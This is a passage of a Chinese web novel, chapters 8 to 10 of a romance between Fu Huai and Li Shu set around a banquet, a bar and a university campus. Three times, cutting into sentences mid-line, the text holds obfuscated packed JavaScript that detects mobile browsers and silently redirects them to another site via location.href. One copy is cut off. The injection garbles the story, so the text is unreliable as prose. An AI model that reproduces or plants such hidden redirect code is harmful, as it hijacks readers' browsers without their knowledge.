“你再这样下去,家里还有个表弟可比你会得多了,要不换他来……”黎夫人小声嘀咕的话还没说完。 下一个刹那,在傅淮经过这边时,黎书一伸手,突然拽住了他。 傅淮一个猝不及防,被他拽的往他那边踉跄了一步。 还没反应过来,就见黎书凑近了他,瞥了一眼黎家夫妇,随后,轻声在他耳边说了一句:“帮个忙。” 温热的呼吸洒在耳根,傅淮顿时僵在了原地。 他眼睁睁地看着,黎书就这么逐渐凑了上来。 8. 第 8 章 傅淮脑袋里的警报声顿时尖锐地响起。 面前的黎书和平日里穿宽松家居服或是白大褂时都不太一样,剪裁合身的正装恰到好处地勾勒出了他清瘦但挺拔的身形。 距离很近,周围原本属于傅淮自身的气息突然间被黎书入侵,傅淮这才发觉,除了黎书身上平时自带的冰冷的实验室的味道,其实还隐隐带着一股干净的皂香。 傅淮一瞬间仿佛被他的气息包围。 太近了! 傅淮稍一垂眼,就能看见黎书微收的腰身,线条流畅,很细,像是能被他一只手就握住。 他慌忙移开了双眼,视线划过黎书的唇角。 黎书似乎刚喝了水,唇上湿润润的,傅淮忍不住又想起第一次见黎书时他喝完水,慢条斯理拿起纸巾轻轻按在唇上擦嘴。 此时近距离看,傅淮忍不住想象,纸巾在他唇上轻轻按压后,应该会很快回弹,并留下泛红的印记。 傅淮撇开脑袋,耳根发热,忍不住想要后退。 什么意思? 黎书在他生日这天穿得这么好看凑近,是想要勾引他吗? 不行!不能中了他的计! 不然以后,他就彻底丧失自由,天天就得被他给管着了! 傅淮心中顿时警铃大响。 他刚要强行退开,一转头,却发现黎书只是稍稍凑近了些,一只手很快就越过了他,拿了一份摆在他后面托盘上的甜点。 拿完后,当即就后退了一步。 傅淮一愣。 就这样? 不继续了? 傅淮下意识地转头去看。 一抬眼,才发现黎书拿完甜点后,突然转开了视线,似乎盯着别处看了过去。 在看什么? 傅淮顺着他的眼神望了过去。 随后,他就望见—— 在大厅的转角处,站着一个拿着托盘穿着制服的男服务生。 不愧是花大价钱请来的,服务生个高腿长,拿着托盘站得笔直,制服在他身上得到完美展示,堪比男模。 黎书刚刚在看他? 什么眼光? 傅淮当即一挺身,上前一步挺起腰背站直,挡住了黎书看向那边的视线。 他比那男模高,身材也比那男模好,黎书放着这么近距离的他不看,去看那边的服务生干什么? 他才是今天生日宴的主角好不好! 傅淮低头看了一眼自己身上今早随手挑的衣服,想着一会儿是不是得去换一套更凸显身材的衣服来。 “你俩在这儿呢?” 有人从一旁走了过来,黎书抬眼一看,应该是傅家的亲戚,黎书不太熟,只在之前的订婚宴上见过一次。 “两人相处得怎么样啊?”那人笑着和他们打了一句招呼,“傅淮最近看着好像长大不少。” 黎书笑着应了一句:“挺好的。” 傅淮顿时转头看了过去。 哪里挺好了?他刚刚明明还在看别人! 傅淮正不满地嘀咕着,一旁的黎书一伸手,把刚刚拿的甜点递给了傅淮。 傅淮又是一愣。 这时,门口突然传来一阵嘈杂声。 一转头才发现,是傅老爷子从大门口走了进来,一抬眼朝这边看了过来。 傅淮突然福至心灵。 他似乎终于理解了黎书把甜点递给他,和刚刚小声跟他说的“帮个忙”什么意思。 是想让他一起演一对恩爱的小夫妻? 傅淮突然想起,小时候他父母联姻,一开始在人多是地方似乎也这样演,演的时间长了,两个人都演不下去了,后来就放飞自我各自带人来宴会了。 见傅淮站在原地,似乎并没有要伸手接甜点的意思,黎书正要收回。 但突然——傅淮猝不及防凑近,一手接过甜点,用勺子挖了一小块,就要往黎书的嘴里送去。 黎书一愣,下意识地往后一避。 但傅淮眼疾手快,一伸手揽住他的后背不让他后退,又凑近一步:“不是说要演吗?” 黎书一偏头,发现黎家夫妇正朝着这边看了过来。 是得要演。 随即,黎书微微一笑,凑近了些,低头吃下了傅淮递上来的那一小勺甜品,嘴角上微微沾了些奶油。 黎家夫妇满意点头笑了。 傅淮的视线在黎书沾着奶油的唇角处停留了一瞬。 应该很甜,他这么想着。 但傅淮再一定睛,突然发现面前的黎书似乎有些心不在焉,正转头朝着什么看去。 这个时候还要分心? “看什么?”傅淮不满地开口,随着黎书的视线看去。 又在看那个男服务生? 这人有什么好看的? 不就是个儿高点,穿着制服吗? 他穿着的话,肯定比那人好看。 傅淮不知怎么想的,上前一步凑得更近,正要开口在黎书耳边说话。 恰好这时,黎书转回了头。 他的唇角,不经意间擦过傅淮的脸侧。 轻描淡写的一下,傅淮的侧脸上,顿时也沾上了些奶油。 傅淮的手猛地一抖,耳根迅速染上了一层薄红。 他这才发现,黎书此刻,似乎还抓着他的手腕。 手腕上,两人皮肤接触的那一块地方,似乎正在逐渐发热发烫。 傅淮浑身紧绷,他张了张口,也不知道是要呼吸,还是想要说些什么。 这时,黎家夫妇大概是和别人聊天,已经走到了大厅的另一边,应该是看不见这里了。 黎书原本抓着傅淮的手一瞬间松开。 似乎想到了什么,黎书很快转头朝着另一边走去。 “哎……” 傅淮被一个人留在了原地,顿时不可置信地瞪大眼睛,看向这个直接抛下他无情离去的人。 黎书的背影越走越远,就连头都没有回过一次。 他这是什么意思?! 转弯走出大厅,黎书停下脚步,从口袋里摸出药片吞了下去。 他平时不吃甜食。 刚刚吃了傅淮递上来的那一口甜点,黎书感觉胃里有些不太舒服,吃过药后才稍稍好了一些。 走了几步之后,他脸上的苍白才又渐渐隐去。 看着就连走廊都被布置得十分豪华的生日宴里,黎书不知怎么,突然想到了很久之前的一幕。 黎书其实从小皮肤就白,小时候来了黎家后,常年住在照不到阳光阴冷的小房间里,皮肤就更显得苍白透明。 大概是某天突然降温,住在阴冷照不见阳光的房间里的黎书突然感冒,发起了烧。 黎书不想麻烦黎家夫妇,他们也基本不会管来他,他就这么一直忍着,以为还像以前那样自己会好。 但没想到这次比较严重,烧到第三天的时候,实在太难受了,黎书终于没有力气了。 他打开房门,从房间里跑了出来,在外面找不到人,只能跑去问家里的阿姨有没有退烧药。 家里的阿姨见平日里黎家夫妇根本不管他,就也识相地看眼色不理他,随手就打发了他。 小小的黎书只能一路找到了厨房,想去里面给自己烧一杯热水喝。 但那天,黎家似乎正在举办宴会。 厨房里面的人来来去去忙碌着,都让他不要进来捣乱。 黎书烧得晕乎乎的,抬眼望去,朦朦胧胧朝外面看去,宴会大厅里大家说着笑着,觥筹交错,满满一走廊的食物糕点放在一旁做装饰,但吃的人并不多,最后都是要被扔掉的。 而他,只是想要一杯热水。 就这么踉踉跄跄地走着,黎书突然碰到了一个和他差不多大的小孩,似乎是来参加宴会的。 看着黎书烧得通红的脸色,他好像有些无措,焦急地问他怎么了。 黎书烧得迷迷糊糊,也不知道自己到底是怎么说的,只记得那人很快找来了药递给他,还又塞给了他一个精致漂亮的小蛋糕。 “吃了甜甜的蛋糕,很快就能好起来了!” 黎书模模糊糊记得,自己拿了药跑回了他的小房间,就着冷水喝了下去。 吃了药有些犯困,那时候小小的黎书躺在床上迷迷糊糊地想,他刚刚好像忘了跟那个人说谢谢,也忘了问他叫什么。 也不知道之后该怎么找到他,向他表示感谢。 想着想着,黎书就这么睡了过去。 出了一身汗,醒来的时候已经是第二天下午了。 庆幸的是,烧总算是退下去了。 黎书一睁眼,看见了一旁小桌上放着的那个精致的小蛋糕。 昨天烧得晕晕乎乎,黎书只能记得一张模糊的脸,似乎笑着对他说:“吃了甜甜的蛋糕,很快就能好起来了!” 小蛋糕没有放冰箱,奶油耷拉了些,看上去已经有些坏了。 但黎书想着昨天的那人,还是一口一口用勺子挖着全都吃完了。 或许是病才刚好免疫力不太好,也不知道为什么,后来黎书只要吃甜的,胃就会有些不太舒服。 不过还行,问题不算太大。 吃过药后,黎书想着,生日宴没他什么事了,他差不多可以回去了。 而刚一转头,他看到傅老爷子朝着他这边走了过来。 老爷子看到黎书很是激动,拉着他的手就说傅淮这些天确实比以前好太多了,进步很大,说自己非常感谢他,拉着他就要过去主桌那边坐。 老爷子太过热情,黎书也不好推脱。 走到那边时,傅淮正和张延周阅他们在那边坐下。 看见老爷子过来,几人站起来正要和老爷子打招呼,老爷子笑笑让他们坐下,又拉过黎书让他坐傅淮边上。 见黎书和老爷子一起走过来,傅淮顿时转头盯着他看,似是在判断他是不是向老爷子告了什么状。 黎书一转头对上傅淮的眼神,还以为他不想自己坐在他边上。 黎书还没来得及有什么动作,几天没见的舒许不知什么时候突然出现,趁这些人还没有坐下,他迅速一闪身溜到了傅淮身边,想要在他旁边坐下。 傅淮顿时应激般瞪大了眼睛。 这人什么时候来的?他是怎么进来的? 傅淮往边上一避,下意识开口想让他滚。 但老爷子还在一旁看着,这样粗鲁的话他不能开口。 傅淮顿时转头看向了黎书。 有人要坐你位置,你快把他赶走啊! 傅淮在心里这么呐喊道。 一旁的张延和周阅也不知道舒许是怎么进来的,一时都紧张地看向一旁黎书的反应。 而让所有人都惊讶的是—— 黎书没有说话,直接一脸平静往旁边让了让。 一旁的傅淮又再一次瞪大了眼睛。 大脑还没反应过来,他就已经伸手拽住了黎书:“去哪儿啊?你饭还没吃呢!” 黎书被傅淮拽着,又被顺势按在了傅淮旁边的座位上坐下。 被挤到一边的舒许睁大眼睛,眼眶渐渐红了。 他默默盯着黎书看去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776629|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎书修长冷白的手指正拿着杯子,但舒许突然发现,黎书的手指上光秃秃的,什么戒指也没有戴。 舒许一垂眼,突然拿出了一块玉石,抬眼看向了一旁的傅老爷子:“听我父母说,这是傅家当年给舒家的,现在……要不还是还给您吧” 老爷子眼皮一抬,笑了笑,说道:“拿着吧,这本来就是你父母留给你的。” “你大概是记错了吧,这块玉傅家当年只是临时帮舒家拍下的而已,这本就不是傅家的东西。”老爷子说着,似是恍然间想起了什么,“你不说我倒是忘了,傅淮他奶奶,确实是留了玉。” 说着,老爷子一伸手,边上就有一人递上来一个盒子。 老爷子接过,转手就递给了黎书。 “不不——”黎书忙抬手拒绝。 这玉光看盒子就知道有多贵重,而且还是附近传下来的,大概是要给傅淮真正的配偶的。 他只是签了三年的协议而已,他不能拿这个。 “收下吧。”老爷子笑着拍了拍黎书的肩说道,“不管怎么说,傅淮现在有了这么大的进步,我都得要好好感谢你。” 老爷子都这么说了,现场还有这么多人在,黎书也没能再拒绝。 不过,在宴会结束,众人都走了之后。 黎书叫住傅淮,把老爷子今天给他的这块玉还给了傅淮。 “老爷子给你的你就拿着。”傅淮说道,“家里还多着呢。” “不,这太贵重了。”黎书摇头说道,“而且,这是你奶奶留给你将来的妻子的,我不能收。” “什么?”傅淮愣了,“你不就是我……” 黎书他什么意思? 他们两个难道不就是这么个关系吗? “我们以后也不一定……”黎书继续说道。 话还没说完,傅淮瞪大眼睛,“噌”的一下站起身来,不可置信的开口道:“宴会上你才刚轻薄了我呢,这才过去不到半天,你就不认账了?” “啊?” 他这么一说,黎书也被他给说愣了。 看见黎书一脸空白的表情,傅淮更生气了:“我初吻都被你给骗走了,你不负责了?” “什么?” 这下,黎书就更糊涂了。 什么初吻? 片刻,他才似乎想起,之前在宴会上,两人轻描淡写的相触。 不过,黎书依旧不解。 这只是不小心碰到而已,怎么就成初吻了? 但黎书依旧有些惊讶。 他怎么也没想到,这竟然是傅淮初吻? 怎么也看着不像啊。 - 一天过去了,傅淮仍依旧在生气中。 原本听黎书的话已经定下来的一周去三天公司,他今天也直接就给翘了。 张延和周阅约他也没能把他给约出来,两人直接就找上了门来。 傅家别墅内。 傅淮坐在靠窗的吧台上,正在给自己面前的杯子里倒酒。 张延和周阅到的时候,傅淮正靠在窗台边上拿着杯子往嘴里灌。 周阅下意识一缩脖子,赶紧转头往屋子周围四处看去:“嫂子允许你这么喝吗?” “不管他!”傅淮一拍桌子,但在张延和周阅两人一脸不信的眼神中,又讪讪地收回了手,“他出去了。” “我就说嘛。”周阅松了一口气道,“他在你不可能这么放肆。” “喝的什么呀。”张延上前一步,在傅淮边上坐下,“心情不好啊?” “估计是天天得去公司烦的吧。”周阅也拉开椅子坐下,在一旁说道,“还好我还有个哥在,这事儿轮不到我。” “特调是吧。”张延喝了一口,“还挺不错的,和我们那天酒吧喝的那个差不多,都挺好喝的。” “昨天宴会没用完的。”傅淮说了一句,“黎书说不能浪费。” “对,就是昨天那个。”周阅点头说道,“这都看不出来是酒,我还以为是饮料呢,还好昨天黎书给我拦住了。” 周阅最近感冒,吃饭前拿出感冒药,想随手找个饮料吞下去。 手刚碰到杯子,就被一旁的黎书给拽住了。 周阅疑惑地抬眼看他,还以为黎书现在已经不满足于单管一个傅淮,开始逐渐要管起傅淮身边的朋友来了。 但没想到的是,黎书只是指了指他手上那杯饮料,开口提醒道:“这是酒,吃感冒药不能喝酒。” “啊?这是酒吗?”周阅低头闻了闻,根本就没闻出什么酒味儿来。 直到一旁的张延喝了一口,这才确定,这确实是特调的酒。 周阅被吓出了一身冷汗,忙开口感谢黎书的救命之恩。 而此时。 张延坐在吧台上喝了一口酒,似乎突然想到了什么:“对了,黎书看着就不喝酒的人,怎么就能知道那是酒不是饮料呢?一开始我都没有发现这是酒。” 确实,黎书一个天天泡在实验室里根本不喝酒的人,怎么会光一看就知道这是酒? 就连张延和周阅这样时常去酒吧的人都不一定能闻得出来,这得要品过无数种酒,或是长期在酒吧里待过的人才会知道的吧。 不过,周阅想了想,又说道:“傅淮生日宴上的酒水,这些准备工作黎书他应该知道的吧。” “也是。”张延点了点头。 而此时,一旁沉默了很久的傅淮突然间说话了:“——他不知道。” “这些食物包括装饰都是提前外包的,连我都不知道用的是什么酒水饮料。”傅淮说道。 9. 第 9 章 傅家别墅的客厅内。 空气似乎安静了一小片刻。 张延和周阅偏过头去,相互对视了一眼,一时也不知道该怎么开口。 半晌,张延开口,说了一句:“他们搞科研的人压力大,说不定平时也喝点儿。” 这话确实没说错。 张延他爸就认识一个实验室的大佬,看似天天白大褂,实际私底下烟酒什么都来。 “也是啊。”周阅在一旁点点头表示同意:“都是成年人,稍微喝点儿也正常。” 但不知怎么的,黎书却看着不像是这样的人。 “他这人看上去根本就没有什么欲望。”傅淮终于开了口,说道,“他是个平时只喝水,就连可乐都不喝的人!” “这样的吗?”正说着,张延却突然间顿了一下。 他脑中突然浮现出,订婚宴那天晚上,他似乎在酒吧里看见过的一个和黎书很像的身影。 “说起来——”张延张了张口,犹豫着说道,“在订婚宴那天晚上,我在酒吧好像看见一个背影,倒是有点儿像他。” “那不可能。”傅淮十分肯定地说道,“黎书他肯定不会去那些地方的。” 但随即,张延也很快又摇头说道:“不过那他酒吧里面太暗了,灯光又乱,也有可能是我看错了。” “你问一下他不就行了?”这时,周阅突然说道。 问他什么? 傅淮想着。 问他订婚宴那天你也去酒吧了吗? 还是问他你为什么连这些冷门的酒都这么了解? 问这么多问题,黎书会不会误会我很在意他? 不问! 傅淮赶紧摇头。 他现在还在生气着呢! 黎书非但没有察觉,今天还一大早就直接出门去了。 这样正好。 那他也正好可以放飞自我出去玩了! “算了,不管他!” 傅淮还在为昨天那事生气中。 说着,他又伸手给自己倒了一杯,仰头喝了下去,随口问道:“晚上有什么活动吗?” “我看看啊。”周阅低头掏出了手机说道。 张延抬起头来,看了一眼坐在一旁闷灌的傅淮和他脸上忿忿的表情,突然说道:“对了,之前说的的紧急联系人,你设置了吗?” “紧急联系人?” 傅淮抬起眼来。 对了! 之前,他好像确实和黎书设置了紧急联系人,可以互相查看对方的行程。 不过,黎书这人每天都是两点一线,要不在家,要不就在实验室里。 为了他去实验室方便,老爷子为他们两人准备的傅家别墅就离学校不远。 所以,黎书平时几乎没怎么打过车,傅淮是手机上也并没有受到什么其他的行程通知。 “他每天早出晚归的,应该都是去实验室。”傅淮说道。 “嗯,他们研究院就是这样,很忙的。”张延点头说道,“前几天我从那边走过,研究院里大晚上的灯全都亮着。” 一旁的周阅正要点头,但傅淮突然间抬起头来:“不对。” “今天是周末,黎书不用去实验室。” “那他今天早上这么早走是去干什么?”傅淮顿时站了起来。 “而且——”傅淮低头一看时间,“现在这个点了,他怎么还不回来?” 也对,今天是周末。 实验室休息。 “要不……你打个电话过去问问?”周阅尝试着开口说道。 “我——” 他还在生黎书的气呢! 傅淮正犹豫着,而一旁周阅的手机却突然响了。 周阅低头一看,是舒许发来的信息。 对面不知说了什么,周阅很快抬起头问道:“晚上舒许那边有活动,问你去不去?” “不去!” 听到舒许这个名字,傅淮想也没想直接就拒绝了。 傅淮不去,周阅也没办法,只能如实告诉舒许自己帮不上忙。 “是不是因为黎书?”对面的舒许很快回复周阅道。 随后,又犹豫着发来了一条:“我好像听说……黎书他平时的要求很多,还不允许淮哥出来?” “对了。”舒许继续说道,“我今天去了淮哥家里,还被他给赶出来了呢!他可凶了,你平时看到他可要小心一点!” “今天?”周阅愣了,“什么时候?” “就下午啊。”舒许答道,“今天淮哥不在,去公司了,黎书周日休息在家,我跟他说想在这里等淮哥回来,他就特别凶地直接把我给赶出去了!” “不会的。”周阅说道,“昨天宴会上你也看到了,黎书他不是这样的人,他当时还想让位置给你呢。” “周阅,你不会也被他给迷惑了吧?”连周阅都这么说,舒许顿时不悦道,“昨天生日宴上大家都在,所以他伪装得很好,但在没人的地方,他根本就不是你们看到的那样的!” “他特别凶,还想要上手推我……” “舒许……”周阅一时心情有些复杂。 舒许没出国时,和张延傅淮他们关系平平,但和周阅走得比较近,所以两人关系一直不错。 舒许出国之后,周阅还特意去国外看过他。 后来黎书和傅淮联姻,周阅当时还暗暗为舒许抱不平,也听信了舒许的话,说黎书就是一个靠手段上位的人。 但这几天相处下来,不管是之前订婚宴那天晚上的醒酒汤,还是昨天傅淮生日宴上黎书提醒他吃感冒药不能喝酒,周阅都觉得,黎书完全不像是舒许口中说的那样的人。 而现在。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776630|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 舒许破绽百出的话,也更加印证了这一点。 “舒许你……”周阅也不知道自己的好友怎么突然变成这个样子。 他一时也不知道,该怎么继续和舒许对话。 周阅叹了口气,只能把事实如实告诉舒许:“你之前打听到的是今天傅淮会去公司,而黎书周日在家,但正好相反,今天傅淮没有去公司,他下午一直在家。” “我和张延下午也一直都在傅淮家里,我们根本就没看见你过来。” “反而是你说的把你赶出去的黎书,他今天一大早就出门了,到现在都还没有回来。” “所以舒许——”周阅问道,“黎书他是怎么把你给赶出去的呢?” “还是你觉得,我是这几个人里面最好骗的,所以想借我的手来达到你自己的目的?” 发完这一大段之后,周阅关掉对话框,低下头又默默地叹了一口气。 周阅虽然和傅淮张延这些以后要接手家里事业的人不同,他前头还有个哥哥,所以从小也没有人特别要求他要学些什么。 但怎么说,他从小也是在大家族里长大的,舒许的这点手段,他怎么会看不出来呢? “怎么了?”一旁的张延转头看了傅淮一眼。 周阅收起手机摇了摇头,没说什么。 而一旁的傅淮却是下定了什么决心一般,“噌”的一下把手机给掏了出来。 不行,还是得问一问黎书去哪儿了,这么晚为什么不回来。 平时黎书问他这些题都理直气壮的,他们两人现在都什么关系了,关于黎书的行程,他当然有权过问了! 傅淮当即拿起手机,正要拨通电话。 就在这时—— 周阅才刚刚被他收起来的手机又一次响了起来。 周阅低头一看,竟然是舒许的电话。 他没再准备接,低头按了挂断。 而很快,手机又再次响了起来。 依旧是舒许。 见周阅没有接电话,舒许也没有再打。 而是——直接发了一张照片过来。 周阅随手点开,随即便震惊抬头,视线瞬间移向了一旁的傅淮。 傅淮和他对视一眼,奇怪地问道:“怎么了?” 周阅犹豫半晌,还是把手机往傅淮那儿一递。 傅淮疑惑地低头看去。 手机屏幕上显示的,是舒许刚刚发来的一张照片。 照片上可以清楚看到,昏暗嘈杂的酒吧内,平日里实验室内一向清冷的黎书自然地融入其中,他轻浅微笑着举杯,表情怡然地和周围的一大群人凑着头不知在聊些什么。 照片下面,还有舒许发过来的几句话: “周阅你错了。” “我确实不是什么好人。” “但黎书他也不是。” 10. 第 10 章 酒吧里的灯光喝多了般乱晃着。 黎书隐在这样闪烁迷离的灯光下,手里端着一杯酒,闲适地穿过走廊。 走廊有些挤,陆续有喝高的人歪歪扭扭地扶着桌子踉跄着经过。 酒吧老板老贾手里端着个托盘,在走廊上来回穿梭着。 从黎书身边侧身经过时,老贾稍一倾身,在他耳边轻声说了一句:“就是前面那一桌。” “嗯。”黎书不动声色地点了一下头。 再往前走两步。 前面那桌处传来的声音也逐渐大了起来。 几个人喝得有些大,相互拍着肩膀,嘴里说的话也逐渐不把门了起来。 “王哥什么时候带我赚点大的?” “准带你!咱俩什么关系啊,来,再喝一个!” “那就谢谢王哥了,这杯我干了!” “是啊,咱王哥现在跟那些大家族都搭上线了!” “王哥厉害啊,也带带我呗!” “都带都带,我什么时候亏待过你们!来,喝!” “话说,舒家现在好像是不行了啊,人也都过世了,就剩一个小孩了。” “这你就不知道了吧?舒家当年就是不行了才出国去的。” “是吗?” “是啊,当年的实验楼爆炸你听说吧?” 说着,这人左右看了看,突然放低了声音:“你们都不知道吧,可别往外说啊……” 酒吧昏暗的灯光下,没有人看得出,隐在一旁扶着墙装醉的黎书的脸色微微变了变。 - 涂着夸张外饰的跑车在道路上一路疾驰着。 拐到市中心那边时,就渐渐疾驰不起来了。 市中心就算这个点了依旧很堵。 就算是赛车能飙到第一的傅淮,在此时一脚刹车一脚油门的路况中,也没有什么办法。 傅淮一手搭在方向盘上,忍不住朝着前面都已经红灯了还在继续往前跑的人重重地拍了一下喇叭。 随后,傅淮脑中又再次浮现出了他刚刚在周阅手机里看到的那张照片。 照片里的黎书端着酒杯坐在吧台边上,和一群人挤在一起。 一桌的人似乎都喝多了,身边的人和他靠得很近,黎书侧着头,浅笑着正在听对方说些什么。 傅淮顿时想起,黎书在和自己说话的时候,一向都冷冷淡淡板着一张脸,还从来都没有过这样笑得这么温柔的表情! 这些人是谁啊? 黎书竟然跟着他们来了酒吧,还笑得这么开心? 他们不会把黎书给带坏了吧? 终于开过了最堵的路段。 傅淮一路踩着油门,总算是开到酒吧门口的时候,黎书已经从酒吧里大步走出来了。 和急匆匆正要往里面赶的傅淮差点儿撞上。 黎书瞬间抬起了眼。 “你……” 傅淮瞧见黎书,一把拽住了他的手腕,似是正要说些什么。 但他一抬眼才发现,黎书此时的脸色看上去似乎并不是太好,脸上还略带这些疲惫的神色。 傅淮拽着黎书手腕的手微微顿了一下。 在傅淮的印象中,黎书属于那种不管发生什么,情绪都极为稳定,脸色都不会变一下的人。 之前他在和张延周阅他们抱怨黎书的时候还曾说过,不知道黎书是不是每天都在实验室里喝防腐剂了,他去个公司学习,不加班都累个半死,而黎书熬到半夜从实验室里回来,看着都比他要精神一些。 像个天生的工作圣体。 傅淮似乎还从来没有在黎书的脸上,看到过现在这样的疲色。 他怎么了? 傅淮忙又朝着黎书看了过去:“你……” 对上傅淮的视线后,黎书的脸色有了一瞬间的变化,但眨眼间很快又恢复了平静。 没等傅淮说话,黎书先是开了口:“好巧,你也来这儿啊?” “我平时不怎么来,今天和实验室里的同学聚会,庆祝一下实验进程有了新的突破。”黎书说道。 “哦。”傅淮点了点头。 原来是这样。 黎书都主动跟他解释了,看样子,还是很在意他的。 傅淮这么想着。 成年人,进个酒吧其实也很正常。 之前只是因为黎书平时实验室白大褂的形象太过于刻板,所以,傅淮就想当然的以为他不会来酒吧这样的地方。 或许黎书平时确实不怎么来酒吧,所以,被这里的音乐声和嘈杂声一闹,都这个点了,感觉累了也很正常。 “先回家吧。” 傅淮上前一步,伸手打开了车门。 黎书似乎确实累了,上了车后没再说话。 傅淮也没有说话。 已经临近深夜,路上终于不再堵了。 傅淮开得却没有那么快了。 他侧头看了一眼一旁靠在椅背上闭目养神的黎书,突然发现,自己好像一直都没有去了解过黎书。 凭着想当然的刻板印象,觉得他只会埋头读书,天天待在实验室里,其他方面,几乎可以说是一无所知了。 而且,黎书自己也从来都没有跟他提起过。 当然,他之前也没有跟黎书说过他自己的日常生活。 他喜欢赛车飞机,喜欢那种疾驰着拥抱自由的感觉,但黎书不让,他要自己天天去公司,和老爷子一样处处都管制着他。 傅淮记得黎书第一次在院长办公室里见到他时的眼神。 或许他也和老爷子一样,觉得他不是个好学生,觉得这就是不务正业。 这么胡思乱想着,倒是很快就开到了家。 “啪”的一声,傅淮打开了客厅的大灯。 暖黄色的光一瞬间把他们两人包围。 傅淮转过头,和身后的黎书对视了一眼。 傅淮张了张口,似乎想说什么。 但黎书今天晚上难得没有想要说的,也没有像往常那样给傅淮列第二天的要求,只是开口说道:“很晚了,早点休息吧。” - 临近毕业,大四没什么课的同学久违地赶去学校,大概率是因为论文没有通过。 周阅就是这样玩到一半临时被导师给叫去改论文的倒霉蛋。 周阅唉声叹气地出现在学校里,正低着头往导师办公室赶。 突然一个抬头,顿时震惊喊道:“淮哥?你怎么在这里啊?” “喊什么。”傅淮瞪了他一眼道,“你能来,我就不能来了?” “我是被喊来改论文的。”周阅朝着傅淮大吐苦水道,“你也是吗?真是同病相怜啊。” 说着,就要伸手和傅淮握手。 “我是什么是!”傅淮一下甩开了周阅的手,顿时得意说道,“我的论文黎书看了都说还行,怎么可能通不过呢!” “啊,你过了啊。”周阅顿时愁眉苦脸道,“就我还要改吗……” 但很快,他又瞬间抬起头来,视线盯住了傅淮,问道:“那你来这儿干什么啊?” “我……”傅淮顿了一下,又马上说道,“我来看毕业展的啊。” “毕业展?” 这倒确实,学校这两天艺术专业的同学正在展览厅举行毕业展。 但傅淮怎么看也不像是能欣赏得来这些的人。 “你……”周阅看向傅淮,揣测着突然说道,“你是来找黎书的?” 听到这话,傅淮顿时一瞪眼,大声否认道:“谁来找他了!” “可是……” 一旁的周阅还想要继续说话,但很快就被傅淮的一句话给杀死:“不是来改论文的吗,还不去办公室?” “哦对。”周阅忙转头朝着办公室跑去,“我走了啊!” “走吧走吧。” 傅淮在身后说着,又继续往前溜达了过去。 那天回家之后,傅淮又仔细想了想。 他觉得,他还是得要好好了解一下黎书的。 毕竟,黎书天天这么管着他,他得要做到知己知彼,才能在以后战胜黎书啊! 黎书不跟他说,他自己过来了解还不行吗? 再说了,黎书天天都这么管着他,那他怎么就不能反过来管黎书了? 就因为黎书是学长? 说是学长,其实黎书和他是同一年的,根本就没有比他大,而且,生日还比他小了两个月呢。 这么说来,下个月,好像就到黎书的生日了。 傅淮突然想到。 先不想这个了! 一直这么习惯被管下去,他这辈子都要黎书他管着出不了头了! 所以,他得要及时做出改变! 大概上天也听见了他内心深处的呐喊。 又继续走了两步后,傅淮一个抬头,就在学校小道边上,看到了黎书的身影。 小道边上的黎书正弯着腰,似乎在搬着什么东西。 一旁,还堆着几个叠书。 这时,周阅和张延一起,也不知道怎么的,或许是导师突然有事出去了,这俩人突然又转头朝着这边走回来了。 “淮哥!”周阅大步跑上前来,发现傅淮似乎正往前面看去,也顺着他的视线往前看,随后便惊讶道:“哎,那不是黎书吗?淮哥你还说不是来找他的?” “我……”傅淮还没来得及开口否认,一旁的张延这时也说道:“他好像在搬东西,你不去帮他搬一下吗?” 傅淮撇过头去否认道:“不熟,不去。” “我才不是来找他的。”傅淮说着,脚步却朝着小道走去,“但既然不小心撞见了,我去帮一下又倒也可以,就他这个小身板……” 傅淮话刚说到一半,那边的黎书突然朝着这边转过了头来。 随后,黎书朝着这边挥了一下手,似乎开口说了句什么。 “他叫我?”傅淮抬手理了理衣领,叹了口气说道:“要我帮忙呢,真是被缠上了,没办法啊。” 说着,傅淮像是突然被加满了油一般,快速朝着小道那边跑了过去。 就快要跑到小道边上,而那边的黎书却像是根本没看见他一样,视线直直越过了他,对上了他身后的那个人。 随后,笑意盈盈地喊了一声学长。 学长笑着应了一声,大步走上前去,帮黎书搬起了放在一旁的另外一叠书。 “这谁啊?!”傅淮顿时跳脚,“怎么又来了个新的?” 傅淮赶紧上前了一步。 而这时,两人已经搬着书说笑着往实验楼那边走去。 黎书之前似乎还从来没这么对他笑过,怎么对别人都是笑脸。 傅淮冷脸盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776631|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着前面黎书的背影看了两秒,突然大步追上前去。 “我帮你搬。” 傅淮迅速跑到黎书身旁站定,仰起头挑衅般看了一旁的学长一眼。 突然在学校里看见傅淮,黎书有些惊讶,但也很快摇头道:“不用。” 傅淮又再次垮下了脸。 